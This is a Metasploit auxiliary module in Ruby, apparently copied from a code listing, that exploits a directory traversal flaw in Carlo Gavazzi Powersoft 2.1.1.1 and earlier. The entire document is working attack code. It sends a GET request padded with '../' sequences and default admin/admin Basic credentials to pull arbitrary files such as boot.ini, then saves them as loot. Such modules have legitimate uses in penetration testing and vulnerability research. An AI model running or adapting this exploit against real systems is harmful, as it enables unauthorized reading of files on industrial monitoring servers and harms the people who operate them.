|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69  |  require 'msf/core' class MetasploitModule < Msf::Auxiliary  Rank = GreatRanking  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})  super(update_info(info,  'Name' => 'Carlo Gavazzi Powersoft Directory Traversal',  'Description'=> %q{  This module exploits a directory traversal vulnerability  found in Carlo Gavazzi Powersoft <= 2.1.1.1. The vulnerability  is triggered when sending a specially crafted GET request to the  server. The location parameter of the GET request is not sanitized  and the sendCommand.php script will automatically pull down any  file requested  },  'Author' => [ 'james fitts' ],  'License'=> MSF_LICENSE,  'References' =>  [  [ 'URL', 'http://gleg.net/agora_scada_upd.shtml']  ],  'DisclosureDate' => 'Jan 21 2015'))  register_options(  [  OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 8]),  OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),  OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),  OptString.new('PASSWORD', [ true, 'Password to authenticate with', 'admin']),  Opt::RPORT(80)  ], self.class )  end  def run  require 'base64'  credentials = Base64.encode64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}")  depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']  levels = "/" + ("../" * depth)  res = send_request_raw({  'method' => 'GET',  'uri' => "#{levels}#{datastore['FILE']}?res=&valid=true",  'headers' => {  'Authorization' => "Basic #{credentials}"  },  })  if res and res.code == 200  loot = res.body  if not loot or loot.empty?  print_status("File from #{rhost}:#{rport} is empty...")  return  end  file = ::File.basename(datastore['FILE'])  path = store_loot('carlo.gavazzi.powersoft.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])  print_status("Stored #{datastore['FILE']} to #{path}")  return  end  end end  |